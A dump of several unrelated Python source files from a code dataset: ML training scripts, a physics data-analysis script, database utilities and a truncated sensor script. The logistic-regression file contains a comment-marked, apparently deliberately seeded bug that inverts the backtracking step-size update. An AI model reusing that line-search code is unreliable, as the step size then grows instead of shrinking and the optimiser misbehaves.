docker://gitlab-registry.cern.ch/mguth/umami:latest '.format(out_dir, in_dir, src_dir)\n if sample == 'zp': files = glob.glob('{}/trk_*/flav_Akt4EMPf.root'.format(in_dir, track))\n elif sample == 'ttbar': files = glob.glob('{}/user.*/*.root'.format(in_dir))\n\n input_files = ''\n for i, step in enumerate(range(0, len(files), files_per_job)):\n if step + files_per_job < len(files):\n job_files = files[step:step + files_per_job]\n else:\n job_files = files[step:len(files)]\n\n script_name = '{}_{}_{}_h5.sh'.format(sample, track, i)\n w = open(src_dir + script_name, \"w+\")\n w.write('#! /bin/bash \\n' + singularity_cmd)\n\n input_files = ''\n for f in job_files:\n input_files += ' ' + f\n\n python_cmd = 'python {} --output {} --input{} --write_tracks'.format(conversion_script, outDir, input_files)\n w.write(python_cmd)\n w.close()\n\n cmd = 'qsub -q long -N ' + script_name + ' -j oe ' + src_dir + script_name\n subprocess.call(cmd, shell=True)\n \n","sub_path":"batchSubmitConvert.py","file_name":"batchSubmitConvert.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"124062125","text":"from helper import Helper\nfrom factory import ModelFactory\nfrom loader import Loader\nimport argparse\n\n\nif __name__==\"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"model\", type=str)\n parser.add_argument(\"--load\", type=str)\n parser.add_argument(\"--save\", type=bool)\n parser.add_argument(\"--batch_size\", default=64, type=int)\n parser.add_argument(\"--epochs\", default=100, type=int)\n parser.add_argument(\"--lr\", default=0.01, type=float)\n parser.add_argument(\"--decay\", default=0.0, type=float)\n args = parser.parse_args()\n\n if args.model == \"enc_dec\":\n model = Helper.load_enc_dec(args.load) if args.load else ModelFactory.get_enc_dec()\n td = Loader.load_imgs(\"train\")\n vd = Loader.load_imgs(\"val\")\n Helper.train_enc_dec(model, (td, td), (vd, vd),\n args.batch_size, args.epochs, args.lr, args.decay)\n if args.save:\n Helper.save_enc_dec(model)\n\n elif args.model == \"lstm\":\n #load or get lstm\n model = Helper.load_lstm(args.load) if args.load else ModelFactory.get_lstm()\n #load data\n td = Loader.load_vecs(\"train\")\n vd = Loader.load_vecs(\"val\")\n #train\n Helper.train_lstm(model, (td, td), (vd, vd), args.batch_size, args.epochs, args.lr, args.decay)\n if args.save:\n Helper.save_lstm(model)\n \n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"455651690","text":"import sys\nimport shutil\nimport os\nimport time\nfrom datetime import datetime, date, timedelta\nimport pandas as pd\nimport numpy as np\nimport h5py\nfrom copy import copy\nfrom keras.models import load_model, Model, Sequential\nfrom keras.layers import Input, Activation, Flatten, Dense, Reshape, Concatenate, Add, Lambda, Layer, add, multiply, \\\n TimeDistributed, UpSampling2D, concatenate\nfrom keras.layers.convolutional_recurrent import ConvLSTM2D\nfrom keras.layers.convolutional import Conv2D\nfrom keras.callbacks import CSVLogger, EarlyStopping, ModelCheckpoint, LearningRateScheduler, Callback\nimport keras.backend as K\nfrom keras.engine.topology import Layer\nfrom Param import *\n\n\ndef getXSYS_CPT_D(mode, allData, trainData, dayinfo):\n len_c, len_p, len_t = TIMESTEP, 1, 1\n interval_p, interval_t = 1, 7\n\n stepC = list(range(1, len_c + 1))\n periods, trends = [interval_p * DAYTIMESTEP * i for i in range(1, len_p + 1)], \\\n [interval_t * DAYTIMESTEP * i for i in range(1, len_t + 1)]\n stepP, stepT = [], []\n for p in periods:\n stepP.extend(list(range(p, p + len_c)))\n for t in trends:\n stepT.extend(list(range(t, t + len_c)))\n depends = [stepC, stepP, stepT]\n\n if mode == 'train':\n start = max(stepT)\n end = trainData.shape[0]\n elif mode == 'test':\n start = trainData.shape[0] + len_c\n end = allData.shape[0]\n else:\n assert False, 'invalid mode...'\n\n XC, XP, XT, YS, YD = [], [], [], [], []\n for i in range(start, end):\n x_c = [allData[i - j][np.newaxis, :, :, :] for j in depends[0]]\n x_p = [allData[i - j][np.newaxis, :, :, :] for j in depends[1]]\n x_t = [allData[i - j][np.newaxis, :, :, :] for j in depends[2]]\n x_c = np.concatenate(x_c, axis=0)\n x_p = np.concatenate(x_p, axis=0)\n x_t = np.concatenate(x_t, axis=0)\n x_c = x_c[::-1, :, :, :]\n x_p = x_p[::-1, :, :, :]\n x_t = x_t[::-1, :, :, :]\n d = dayinfo[i]\n y = allData[i]\n XC.append(x_c)\n XP.append(x_p)\n XT.append(x_t)\n YS.append(y)\n YD.append(d)\n XC, XP, XT, YS, YD = np.array(XC), np.array(XP), np.array(XT), np.array(YS), np.array(YD)\n\n return XC, XP, XT, YS, YD\n\n\nclass Attention(Layer):\n def __init__(self, bias=True, **kwargs):\n self.supports_masking = True\n self.name = 'Attention'\n self.bias = bias\n self.step_dim = 0\n self.features_dim = 0\n self.Height = 0\n self.Width = 0\n self.Filter = 0\n super(Attention, self).__init__(**kwargs)\n\n def build(self, input_shape):\n assert len(input_shape) == 5\n\n self.W = self.add_weight(shape=input_shape[2:],\n initializer='glorot_normal',\n name='{}_W'.format(self.name))\n self.step_dim = input_shape[1]\n self.features_dim = input_shape[2] * input_shape[3] * input_shape[4]\n self.Height, self.Width, self.Filter = input_shape[2], input_shape[3], input_shape[4]\n if self.bias:\n self.b = self.add_weight(shape=(input_shape[1],),\n initializer='zero',\n name='{}_b'.format(self.name))\n else:\n self.b = None\n super(Attention, self).build(input_shape)\n\n def compute_mask(self, input, input_mask=None):\n return None\n\n def call(self, x, mask=None):\n features_dim = self.features_dim\n step_dim = self.step_dim\n\n eij = K.reshape(K.dot(K.reshape(x, (-1, step_dim, features_dim)),\n K.reshape(self.W, (features_dim, 1))), (-1, step_dim))\n\n if self.bias:\n eij += self.b\n\n eij = K.tanh(eij)\n\n a = K.exp(eij)\n\n if mask is not None:\n a *= K.cast(mask, K.floatx())\n\n a /= K.cast(K.sum(a, axis=1, keepdims=True) + K.epsilon(), K.floatx())\n\n a = K.tile(a[:, :, np.newaxis, np.newaxis, np.newaxis], (1, 1, self.Height, self.Width, self.Filter))\n weighted_input = x * a\n return K.sum(weighted_input, axis=1)\n\n def compute_output_shape(self, input_shape):\n return input_shape[0], self.Height, self.Width, self.Filter\n\n\ndef PyConvLSTMs(x_input):\n x1 = ConvLSTM2D(32, (3, 3), strides=(2, 2), padding='same', return_sequences=True)(x_input)\n x2 = ConvLSTM2D(64, (3, 3), strides=(2, 2), padding='same', return_sequences=True)(x1)\n x3 = ConvLSTM2D(128, (3, 3), strides=(3, 3), padding='same', return_sequences=True)(x2)\n\n y3 = TimeDistributed(UpSampling2D(size=(3, 3)))(x3)\n z3 = ConvLSTM2D(128, kernel_size=(1, 1), padding='same', return_sequences=True)(x2)\n p3 = add([y3, z3])\n\n y2 = TimeDistributed(UpSampling2D(size=(2, 2)))(p3)\n z2 = ConvLSTM2D(128, kernel_size=(1, 1), padding='same', return_sequences=True)(x1)\n p2 = add([y2, z2])\n\n y1 = TimeDistributed(UpSampling2D(size=(2, 2)))(p2)\n z1 = ConvLSTM2D(128, kernel_size=(1, 1), padding='same', return_sequences=True)(x_input)\n p1 = add([y1, z1])\n return p1\n\n\ndef getModel(x_dim, meta_dim):\n # metadata fusion\n Xmeta = Input(shape=(meta_dim,))\n dens1 = Dense(units=10, activation='relu')(Xmeta)\n dens2 = Dense(units=TIMESTEP * WIDTH * HEIGHT * CHANNEL, activation='relu')(dens1)\n hmeta = Reshape((TIMESTEP, HEIGHT, WIDTH, CHANNEL))(dens2)\n\n XC = Input(shape=x_dim)\n XP = Input(shape=x_dim)\n XT = Input(shape=x_dim)\n XC_c = concatenate([XC, hmeta], axis=-1)\n XP_c = concatenate([XP, hmeta], axis=-1)\n XT_c = concatenate([XT, hmeta], axis=-1)\n hc = PyConvLSTMs(XC_c)\n hp = PyConvLSTMs(XP_c)\n ht = PyConvLSTMs(XT_c)\n a_hc = Attention()(hc)\n a_hp = Attention()(hp)\n a_ht = Attention()(ht)\n x = Lambda(lambda l: K.concatenate([i[:, np.newaxis, :, :, :] for i in l], axis=1))([a_hc, a_hp, a_ht])\n x = Attention()(x)\n X_hat = Conv2D(CHANNEL, (1, 1), padding='same', activation='relu')(x)\n\n # add2 = Add()([x, hmeta])\n # X_hat = Activation('relu')(x)\n\n model = Model(inputs=[XC, XP, XT, Xmeta], outputs=X_hat)\n return model\n\n\ndef testModel(name, allData, trainData, dayinfo):\n print('Model Evaluation Started ...', time.ctime())\n\n assert os.path.exists(PATH + '/' + name + '.h5'), 'model is not existing'\n model = load_model(PATH + '/' + name + '.h5', custom_objects={'Attention': Attention})\n model.summary()\n\n XC, XP, XT, YS, YD = getXSYS_CPT_D('test', allData, trainData, dayinfo)\n print(XC.shape, XP.shape, XT.shape, YS.shape, YD.shape)\n\n keras_score = model.evaluate(x=[XC, XP, XT, YD], y=YS, verbose=1)\n rescale_MSE = keras_score * MAX_FLOWIO * MAX_FLOWIO\n\n f = open(PATH + '/' + name + '_prediction_scores.txt', 'a')\n f.write(\"Keras MSE on testData, %f\\n\" % keras_score)\n f.write(\"Rescaled MSE on testData, %f\\n\" % rescale_MSE)\n f.close()\n\n print('*' * 40)\n print('keras MSE', keras_score)\n print('rescaled MSE', rescale_MSE)\n print('Model Evaluation Ended ...', time.ctime())\n\n pred = model.predict([XC, XP, XT, YD], verbose=1, batch_size=BATCHSIZE) * MAX_FLOWIO\n groundtruth = YS * MAX_FLOWIO\n np.save(PATH + '/' + MODELNAME + '_prediction.npy', pred)\n np.save(PATH + '/' + MODELNAME + '_groundtruth.npy', groundtruth)\n\n\ndef trainModel(name, allData, trainData, dayinfo):\n print('Model Training Started ...', time.ctime())\n XC, XP, XT, YS, YD = getXSYS_CPT_D('train', allData, trainData, dayinfo)\n print(XC.shape, XP.shape, XT.shape, YS.shape, YD.shape)\n\n model = getModel((TIMESTEP, HEIGHT, WIDTH, CHANNEL), dayinfo.shape[1])\n model.compile(loss=LOSS, optimizer=OPTIMIZER)\n model.summary()\n csv_logger = CSVLogger(PATH + '/' + name + '.log')\n checkpointer = ModelCheckpoint(filepath=PATH + '/' + name + '.h5', verbose=1, save_best_only=True)\n LR = LearningRateScheduler(lambda epoch: LEARN)\n early_stopping = EarlyStopping(monitor='val_loss', patience=10, verbose=1, mode='auto')\n model.fit(x=[XC, XP, XT, YD], y=YS, batch_size=BATCHSIZE, epochs=EPOCH, shuffle=True,\n callbacks=[csv_logger, checkpointer, LR, early_stopping], validation_split=SPLIT)\n\n keras_score = model.evaluate(x=[XC, XP, XT, YD], y=YS, verbose=1)\n rescaled_MSE = keras_score * MAX_FLOWIO * MAX_FLOWIO\n\n f = open(PATH + '/' + name + '_prediction_scores.txt', 'a')\n f.write(\"Keras MSE on trainData, %f\\n\" % keras_score)\n f.write(\"Rescaled MSE on trainData, %f\\n\" % rescaled_MSE)\n f.close()\n\n print('*' * 40)\n print('keras MSE', keras_score)\n print('rescaled MSE', rescaled_MSE)\n print('Model Training Ended ...', time.ctime())\n\n\n################# Parameter Setting #######################\nMODELNAME = 'VLUC4-final'\nKEYWORD = 'predflowio_' + MODELNAME + '_' + datetime.now().strftime(\"%y%m%d%H%M\")\nPATH = '../' + KEYWORD\n################# Parameter Setting #######################\n\n###########################Reproducible#############################\nimport random\n\nnp.random.seed(100)\nrandom.seed(100)\nos.environ['PYTHONHASHSEED'] = '0' # necessary for py3\n\nimport tensorflow as tf\nfrom keras.backend.tensorflow_backend import set_session\n\ntf.set_random_seed(100)\n\n\n###################################################################\n\ndef main():\n param = sys.argv\n if len(param) == 2:\n GPU = param[-1]\n else:\n GPU = '0'\n config = tf.ConfigProto(intra_op_parallelism_threads=1, inter_op_parallelism_threads=1)\n config.gpu_options.allow_growth = True\n config.gpu_options.visible_device_list = GPU\n set_session(tf.Session(graph=tf.get_default_graph(), config=config))\n\n if not os.path.exists(PATH):\n os.makedirs(PATH)\n currentPython = sys.argv[0]\n shutil.copy2(currentPython, PATH)\n shutil.copy2('Param.py', PATH)\n\n data = np.load(dataFile)\n data = data / MAX_FLOWIO\n dayinfo = np.genfromtxt(dataPath + '/day_information_onehot.csv', delimiter=',', skip_header=1)\n print('data.shape, dayinfo.shape', data.shape, dayinfo.shape)\n train_Num = int(data.shape[0] * trainRatio)\n\n print(KEYWORD, 'training started', time.ctime())\n trainvalidateData = data[:train_Num, :, :, :]\n print('trainvalidateData.shape', trainvalidateData.shape)\n trainModel(MODELNAME, data, trainvalidateData, dayinfo)\n\n print(KEYWORD, 'testing started', time.ctime())\n testData = data[train_Num:, :, :, :]\n print('testData.shape', testData.shape)\n testModel(MODELNAME, data, trainvalidateData, dayinfo)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"workBousaiOSA_ours/preflowio/predflowio_DeepCrowd.py","file_name":"predflowio_DeepCrowd.py","file_ext":"py","file_size_in_byte":10514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"509170325","text":"#! /usr/bin/python\n\n# 26/05/21 - Stephen Kay, University of Regina\n# Script to extract the pion and kaon cointime peak from the data and save info as a new rootfile, subsequent script fits the peak to extract the position to examine the stability\n# This version is for the HeepCoin data, here we ONLY care about the ep coin time\n\n# Import relevant packages\nimport uproot as up\nimport numpy as np\nimport root_numpy as rnp\nimport pandas as pd\nimport root_pandas as rpd\nimport ROOT\nimport scipy\nimport scipy.integrate as integrate\nimport matplotlib.pyplot as plt\nimport sys, math, os, subprocess\n\nsys.path.insert(0, 'python/')\n# Check the number of arguments provided to the script\nif len(sys.argv)-1!=3:\n print(\"!!!!! ERROR !!!!!\\n Expected 3 arguments\\n Usage is with - ROOTfilePrefix RunNumber MaxEvents \\n!!!!! ERROR !!!!!\")\n sys.exit(1)\n# Input params - run number and max number of events\nROOTPrefix = sys.argv[1]\nrunNum = sys.argv[2]\nMaxEvent = sys.argv[3]\n\nUSER = subprocess.getstatusoutput(\"whoami\") # Grab user info for file finding\nHOST = subprocess.getstatusoutput(\"hostname\")\nif (\"farm\" in HOST[1]):\n REPLAYPATH = \"/group/c-kaonlt/USERS/%s/hallc_replay_lt\" % USER[1]\nelif (\"qcd\" in HOST[1]):\n REPLAYPATH = \"/group/c-kaonlt/USERS/%s/hallc_replay_lt\" % USER[1]\nelif (\"phys.uregina\" in HOST[1]):\n REPLAYPATH = \"/home/%s/work/JLab/hallc_replay_lt\" % USER[1]\nelif(\"skynet\" in HOST[1]):\n REPLAYPATH = \"/home/%s/Work/JLab/hallc_replay_lt\" % USER[1]\n \n# Add more path setting as needed in a similar manner\nOUTPATH = \"%s/UTIL_KAONLT/OUTPUT/Analysis/KaonLT\" % REPLAYPATH\nCUTPATH = \"%s/UTIL_KAONLT/DB/CUTS\" % REPLAYPATH\nsys.path.insert(0, '%s/UTIL_KAONLT/bin/python/' % REPLAYPATH)\nimport kaonlt as klt\n\nprint(\"Running as %s on %s, hallc_replay_lt path assumed as %s\" % (USER[1], HOST[1], REPLAYPATH))\nrootName = \"%s/UTIL_KAONLT/ROOTfiles/Analysis/KaonLT/%s_%s_%s.root\" % (REPLAYPATH, ROOTPrefix, runNum, MaxEvent)\nif os.path.exists(OUTPATH):\n if os.path.islink(OUTPATH):\n pass\n elif os.path.isdir(OUTPATH):\n pass\n else:\n print (\"%s exists but is not a directory or sym link, check your directory/link and try again\" % (OUTPATH))\n sys.exit(2)\nelse:\n print(\"Output path not found, please make a sym link or directory called OUTPUT in UTIL_KAONLT/scripts/demo to store output\")\n sys.exit(3)\nprint (\"Attempting to process %s\" %(rootName))\nif os.path.isfile(rootName):\n print (\"%s exists, attempting to process\" % (rootName))\nelse:\n print (\"%s not found - do you have the correct sym link/folder set up?\" % (rootName))\n sys.exit(4)\nprint(\"Output path checks out, outputting to %s\" % (OUTPATH))\n\n# Read stuff from the main event tree\ne_tree = up.open(rootName)[\"T\"]\n# Timing info\nCTime_ePiCoinTime_ROC1 = e_tree.array(\"CTime.ePiCoinTime_ROC1\")\nCTime_eKCoinTime_ROC1 = e_tree.array(\"CTime.eKCoinTime_ROC1\")\nCTime_epCoinTime_ROC1 = e_tree.array(\"CTime.epCoinTime_ROC1\")\n# HMS info\nH_gtr_beta = e_tree.array(\"H.gtr.beta\")\nH_gtr_xp = e_tree.array(\"H.gtr.th\") # xpfp -> Theta\nH_gtr_yp = e_tree.array(\"H.gtr.ph\") # ypfp -> Phi\nH_gtr_dp = e_tree.array(\"H.gtr.dp\")\nH_cal_etotnorm = e_tree.array(\"H.cal.etotnorm\")\nH_cer_npeSum = e_tree.array(\"H.cer.npeSum\")\n# SHMS info\nP_gtr_beta = e_tree.array(\"P.gtr.beta\")\nP_gtr_xp = e_tree.array(\"P.gtr.th\") # xpfp -> Theta\nP_gtr_yp = e_tree.array(\"P.gtr.ph\") # ypfp -> Phi\nP_gtr_p = e_tree.array(\"P.gtr.p\")\nP_gtr_dp = e_tree.array(\"P.gtr.dp\")\nP_cal_etotnorm = e_tree.array(\"P.cal.etotnorm\")\nP_aero_npeSum = e_tree.array(\"P.aero.npeSum\")\nP_hgcer_npeSum = e_tree.array(\"P.hgcer.npeSum\")\nP_hgcer_xAtCer = e_tree.array(\"P.hgcer.xAtCer\")\nP_hgcer_yAtCer = e_tree.array(\"P.hgcer.yAtCer\")\nMMpi = e_tree.array(\"P.kin.secondary.MMpi\")\nMMK = e_tree.array(\"P.kin.secondary.MMK\")\nMMp = e_tree.array(\"P.kin.secondary.MMp\")\n# Relevant branches now stored as NP arrays\n\nr = klt.pyRoot()\nfout = '%s/UTIL_KAONLT/DB/CUTS/run_type/coinpeak.cuts' % REPLAYPATH\n# read in cuts file and make dictionary\n#c = klt.pyPlot(REPLAYPATH,DEBUG=True)\nc = klt.pyPlot(REPLAYPATH)\nreadDict = c.read_dict(fout,runNum)\n# This method calls several methods in kaonlt package. It is required to create properly formated\n# dictionaries. The evaluation must be in the analysis script because the analysis variables (i.e. the\n# leaves of interest) are not defined in the kaonlt package. This makes the system more flexible\n# overall, but a bit more cumbersome in the analysis script. Perhaps one day a better solution will be\n# implemented.\ndef make_cutDict(cut,inputDict=None):\n\n global c\n\n c = klt.pyPlot(REPLAYPATH,readDict)\n x = c.w_dict(cut)\n print(\"%s\" % cut)\n print(\"x \", x)\n \n if inputDict == None:\n inputDict = {}\n \n for key,val in readDict.items():\n if key == cut:\n inputDict.update({key : {}})\n\n for i,val in enumerate(x):\n tmp = x[i]\n if tmp == \"\":\n continue\n else:\n inputDict[cut].update(eval(tmp))\n \n return inputDict\n\ncutDict = make_cutDict(\"coin_ep_cut_all\")\nc = klt.pyPlot(REPLAYPATH,cutDict)\n\ndef coin_events(): \n # Define the array of arrays containing the relevant HMS and SHMS info\n All_Events_Uncut_tmp = [H_gtr_beta, H_gtr_xp, H_gtr_yp, H_gtr_dp, H_cal_etotnorm, H_cer_npeSum, CTime_ePiCoinTime_ROC1, CTime_eKCoinTime_ROC1, CTime_epCoinTime_ROC1, P_gtr_beta, P_gtr_xp, P_gtr_yp, P_gtr_p, P_gtr_dp, P_cal_etotnorm, P_aero_npeSum, P_hgcer_npeSum, P_hgcer_xAtCer, P_hgcer_yAtCer, MMpi, MMK, MMp]\n All_Events_Uncut = [(HBeta, Hxp, Hyp, Hdel, HCal, HCer, CTPi, CTK, CTp, pBeta, pxp, pyp, pP, pDel, pCal, pAero, pHGC, pHGCX, pHGCY, mm1, mm2, mm3) for (HBeta, Hxp, Hyp, Hdel, HCal, HCer, CTPi, CTK, CTp, pBeta, pxp, pyp, pP, pDel, pCal, pAero, pHGC, pHGCX, pHGCY, mm1, mm2, mm3) in zip(*All_Events_Uncut_tmp)] \n\n # Create array of arrays of protons after cuts, all events, prompt and random\n Proton_Events_All_tmp = []\n\n # Go over every array in All_Events_Uncut_tmp, append to the other arrays the array after a cut is applied\n for arr in All_Events_Uncut_tmp:\n Proton_Events_All_tmp.append(c.add_cut(arr, \"coin_ep_cut_all\")) # Apply PID but no cointime cut\n \n Proton_Events_All = [(HBeta, Hxp, Hyp, Hdel, HCal, HCer, CTPi, CTK, CTp, pBeta, pxp, pyp, pP, pDel, pCal, pAero, pHGC, pHGCX, pHGCY, mm1, mm2, mm3) for (HBeta, Hxp, Hyp, Hdel, HCal, HCer, CTPi, CTK, CTp, pBeta, pxp, pyp, pP, pDel, pCal, pAero, pHGC, pHGCX, pHGCY, mm1, mm2, mm3) in zip(*Proton_Events_All_tmp)]\n\n COIN_EventInfo = {\n \"All_Events\" : All_Events_Uncut,\n \"Protons_All\" : Proton_Events_All,\n }\n\n return COIN_EventInfo\n\ndef main():\n COIN_Data = coin_events()\n\n COIN_All_Data_Header = [\"H_gtr_beta\",\"H_gtr_xp\",\"H_gtr_yp\",\"H_gtr_dp\",\"H_cal_etotnorm\",\"H_cer_npeSum\",\"CTime_ePiCoinTime_ROC1\",\"CTime_eKCoinTime_ROC1\",\"CTime_epCoinTime_ROC1\",\"P_gtr_beta\",\"P_gtr_xp\",\"P_gtr_yp\",\"P_gtr_p\",\"P_gtr_dp\",\"P_cal_etotnorm\",\"P_aero_npeSum\",\"P_hgcer_npeSum\",\"P_hgcer_xAtCer\",\"P_hgcer_yAtCer\",\"MMpi\",\"MMK\",\"MMp\"]\n\n data_keys = list(COIN_Data.keys()) # Create a list of all the keys in all dicts added above, each is an array of data\n #print(data_keys)\n\n for i in range (0, len(data_keys)):\n DFHeader=list(COIN_All_Data_Header)\n if (i == 0):\n pd.DataFrame(COIN_Data.get(data_keys[i]), columns = DFHeader, index = None).to_root(\"%s/%s_%s_CTPeak_Data_HeepCoin.root\" % (OUTPATH, runNum, MaxEvent), key =\"%s\" % data_keys[i])\n elif (i != 0):\n pd.DataFrame(COIN_Data.get(data_keys[i]), columns = DFHeader, index = None).to_root(\"%s/%s_%s_CTPeak_Data_HeepCoin.root\" % (OUTPATH, runNum, MaxEvent), key =\"%s\" % data_keys[i], mode ='a') \n \nif __name__ == '__main__':\n main()\n","sub_path":"scripts/CoinTimePeak/src/CoinTimePeak_HeepCoin.py","file_name":"CoinTimePeak_HeepCoin.py","file_ext":"py","file_size_in_byte":7743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"472984035","text":"from pymongo import MongoClient\r\ndef displayCursor(cursor):\r\n words = ''\r\n for doc in cursor:\r\n words += doc[\"word\"] + \",\"\r\n if len(words) > 65:\r\n words = words[:65] + \"...\"\r\n print (words)\r\ndef sortWordsAscending(collection):\r\n query = {'first': 'w'}\r\n cursor = collection.find(query)\r\n sorter = [('word', 1)]\r\n cursor.sort(sorter)\r\n print (\"\\nW words ordered ascending:\")\r\n displayCursor(cursor)\r\ndef sortWordsDescending(collection):\r\n query = {'first': 'w'}\r\n cursor = collection.find(query)\r\n sorter = [('word', -1)]\r\n cursor.sort(sorter)\r\n print (\"\\n\\nW words ordered descending:\")\r\n displayCursor(cursor)\r\ndef sortWordsAscAndSize(collection):\r\n query = {'first': 'q'}\r\n cursor = collection.find(query)\r\n sorter = [('last', 1), ('size', -1)]\r\n cursor.sort(sorter)\r\n print (\"\\nQ words ordered first by last letter \" + \\\r\n \"and then by size:\")\r\n displayCursor(cursor)\r\nif __name__==\"__main__\":\r\n mongo = MongoClient('mongodb://localhost:27017/')\r\n db = mongo['words']\r\n collection = db['word_stats']\r\n sortWordsAscending(collection)\r\n sortWordsDescending(collection)\r\n sortWordsAscAndSize(collection)","sub_path":"hour16/PythonFindSort.py","file_name":"PythonFindSort.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"249206828","text":"from algorithms.clf import Clf\nimport numpy as np\nimport sys\nsys.path.append(r'..')\n\n# gradAscent\ndef backtracking(l0, w0, X, y):\n # update x\n m, n = X.shape\n epsilon = 1e-10\n beta = 0.5; alpha = 0.01\n l = l0\n h0 = sigmoid(X * w0)\n L0 = -(y.T*np.log(h0+epsilon) + (1-y).T * np.log(1+epsilon-h0)) + .5*np.linalg.norm(w0[0:n-1])**2\n L0 = L0.item()\n error = y - h0 # vector subtraction\n tmp = w0.copy(); tmp[-1] = 0\n g0 = - X.T * error + 1 * tmp\n if np.linalg.norm(g0) < 1e-4:\n wp = w0; l = l0\n return wp, l\n\n for k in range(8):\n wp = w0 - l * g0\n h = sigmoid(X * wp)\n Lw = -(y.T * np.log(h+epsilon) + (1-y).T * np.log(1+epsilon-h)) + .5*np.linalg.norm(wp[0:n-1])**2\n Lw = Lw.item()\n if Lw < L0 - l * alpha * (g0.T*g0):\n break\n else:\n#----bug----\n#l = beta * l\n l = beta / l\n\n return wp, l\n\ndef sigmoid(x):\n # avoid overflow\n return .5 * (1 + np.tanh(.5 * x))\n\nclass GD_m82():\n\n # gradAscent\n def fit(self, X_train, y_train, step_size=0.01, max_iter=100, tol=1e-3):\n X = np.mat(X_train.copy()) # convert to NumPy matrix\n y = np.mat(y_train.copy()).transpose() # convert to NumPy matrix\n\n # label -1 by to 0 if exists\n y[y == -1] = 0\n\n m, n = np.shape(X)\n \n # add logitR to verify the correctness\n # from sklearn.linear_model import LogisticRegression\n # LogitR = LogisticRegression(solver='lbfgs').fit(X, np.array(y).ravel())\n # w1 = LogitR.coef_; b1 = LogitR.intercept_\n # w1 = w1.reshape(-1); b1 = b1[0]\n\n # add bias term $b$\n X = np.column_stack((X, np.ones((m, 1))))\n\n # initial for nesterov accelerated gradient descent\n\n w = np.ones((n+1, 1))\n l = 1\n for k in range(max_iter): # heavy on matrix operations\n z = w\n w, l = backtracking(l, w, X, y)\n if np.linalg.norm(z-w) == 0:\n break\n \n #if k == max_iter - 1:\n #print('convergence fail, the current norm of gradient is {}'.format(\n #np.linalg.norm(z-w)))\n\n w = np.array(w).flatten()\n b = w[-1]\n w = w[0:w.shape[0]-1]\n\n # print(np.linalg.norm(w1-w), b, b1)\n\n clf = Clf(w, b)\n # w: n*1 vector b: scalar\n return clf\n","sub_path":"algorithms/Logistic_regression/GD/GD_m82.py","file_name":"GD_m82.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"202853693","text":"import sqlite3\nfrom sqlite3 import Error\n\nclass ResetDb(object):\n\n sql_create_id_zhcn_table = \"\"\" CREATE TABLE IF NOT EXISTS \"id_zhcn\" (\n `id`\tINTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,\n `text_id`\tTEXT,\n `text_zhcn`\tTEXT,\n `text_en_id`\tTEXT,\n `text_en_zhcn`\tTEXT,\n `tok_id`\tTEXT,\n `tok_zhcn`\tTEXT,\n `tok_en_id`\tTEXT,\n `tok_en_zhcn`\tTEXT\n ); \"\"\"\n\n def __init__(self,f_data =\"test_db.db\"):\n self.filepath= f_data\n try:\n self._db_connection = sqlite3.connect(self.filepath)\n self._db_cur = self._db_connection.cursor()\n except Error as e:\n print(e)\n\n def query(self, query, params=\"\"):\n return self._db_cur.execute(query, params)\n\n\n def create_id_zhcn(self):\n try:\n self._db_connection = sqlite3.connect(self.filepath)\n self._db_cur = self._db_connection.cursor()\n self.query(self.sql_create_id_zhcn_table)\n except Error as e:\n print(e)\n\n def clear_id_zhcn(self):\n sql_count = \"SELECT count(*) FROM sqlite_master WHERE type='table' AND name='id_zhcn';\"\n self.query(sql_count)\n hasil = self._db_cur.fetchone()\n if (hasil[0]==1):\n sql = 'DELETE FROM id_zhcn'\n self.query(sql)\n else:\n self.create_id_zhcn()\n\n def delete_db(self):\n import os\n myfile = self.filepath\n ## If file exists, delete it ##\n if os.path.isfile(myfile):\n os.remove(myfile)\n else: ## Show an error ##\n print(\"Error: %s file not found\" % myfile)\n\n\n def __del__(self):\n self._db_connection.close()\n\n\nif __name__ == '__main__':\n reset_db = ResetDb('coba')\n reset_db.delete_db()","sub_path":"reset_db.py","file_name":"reset_db.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"239845955","text":"from psana.psexp import RunLegion, DataSourceBase\n\nclass LegionDataSource(DataSourceBase):\n def __init__(self, *args, **kwargs):\n super(LegionDataSource, self).__init__(**kwargs)\n self.exp, self.run_dict = super(LegionDataSource, self)._setup_xtcs()\n super()._start_prometheus_client()\n\n def runs(self):\n for run_no in self.run_dict:\n yield RunLegion(self.exp, run_no, self.run_dict[run_no], \n max_events = self.max_events, \n batch_size = self.batch_size, \n filter_callback = self.filter,\n prom_man = self.prom_man)\n super()._end_prometheus_client()\n","sub_path":"psana/psana/psexp/legion_ds.py","file_name":"legion_ds.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"233124768","text":"#!/usr/bin/python\nimport smbus\nimport math\nimport time\nimport board\nimport neopixel\nimport sys\n\n# Order all current running programs to STOP\nf = open(\"status.txt\", \"w\")\nf.write(\"STOP\")\nf.close()\n\n# Wait for them to do so\ntime.sleep(.5)\n\n# Set status to represent script is running\nf = open(\"status.txt\", \"w\")\nf.write(\"RUN\")\nf.close()\n\n# Power management registers\npower_mgmt_1 = 0x6b\npower_mgmt_2 = 0x6c\n\ndef read_byte(adr):\n return bus.read_byte_data(address, adr)\n\ndef read_word(adr):\n high = bus.read_byte_data(address, adr)\n low = bus.read_byte_data(address, adr+1)\n val = (high << 8) + low\n return val\n\ndef read_word_2c(adr):\n val = read_word(adr)\n if (val >= 0x8000):\n return -((65535 - val) + 1)\n else:\n return val\n\ndef dist(a,b):\n return math.sqrt((a*a)+(b*b))\n\ndef 